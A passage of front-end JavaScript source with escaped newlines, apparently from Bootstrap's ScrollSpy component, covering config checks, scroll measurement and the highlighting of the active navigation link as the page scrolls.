=== 'object' && config ? config : {}\n }\n\n if (typeof config.target !== 'string' && Util.isElement(config.target)) {\n let id = $(config.target).attr('id')\n if (!id) {\n id = Util.getUID(NAME)\n $(config.target).attr('id', id)\n }\n config.target = `#${id}`\n }\n\n Util.typeCheckConfig(NAME, config, DefaultType)\n\n return config\n }\n\n _getScrollTop() {\n return this._scrollElement === window\n ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n }\n\n _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(\n document.body.scrollHeight,\n document.documentElement.scrollHeight\n )\n }\n\n _getOffsetHeight() {\n return this._scrollElement === window\n ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n }\n\n _process() {\n const scrollTop = this._getScrollTop() + this._config.offset\n const scrollHeight = this._getScrollHeight()\n const maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight()\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh()\n }\n\n if (scrollTop >= maxScroll) {\n const target = this._targets[this._targets.length - 1]\n\n if (this._activeTarget !== target) {\n this._activate(target)\n }\n return\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null\n this._clear()\n return\n }\n\n for (let i = this._offsets.length; i--;) {\n const isActiveTarget = this._activeTarget !== this._targets[i] &&\n scrollTop >= this._offsets[i] &&\n (typeof this._offsets[i + 1] === 'undefined' ||\n scrollTop < this._offsets[i + 1])\n\n if (isActiveTarget) {\n this._activate(this._targets[i])\n }\n }\n }\n\n _activate(target) {\n this._activeTarget = target\n\n this._clear()\n\n const queries = this._selector\n .split(',')\n .map((selector) => `${selector}[data-target=\"${target}\"],${selector}[href=\"${target}\"]`)\n\n const $link = $([].slice.call(document.querySelectorAll(queries.join(','))))\n\n if ($link.hasClass(CLASS_NAME_DROPDOWN_ITEM)) {\n $link.closest(SELECTOR_DROPDOWN)\n .find(SELECTOR_DROPDOWN_TOGGLE)\n .addClass(CLASS_NAME_ACTIVE)\n $link.addClass(CLASS_NAME_ACTIVE)\n } else {\n // Set triggered link as active\n $link.addClass(CLASS_NAME_ACTIVE)\n // Set triggered links parents as active\n // With both
    and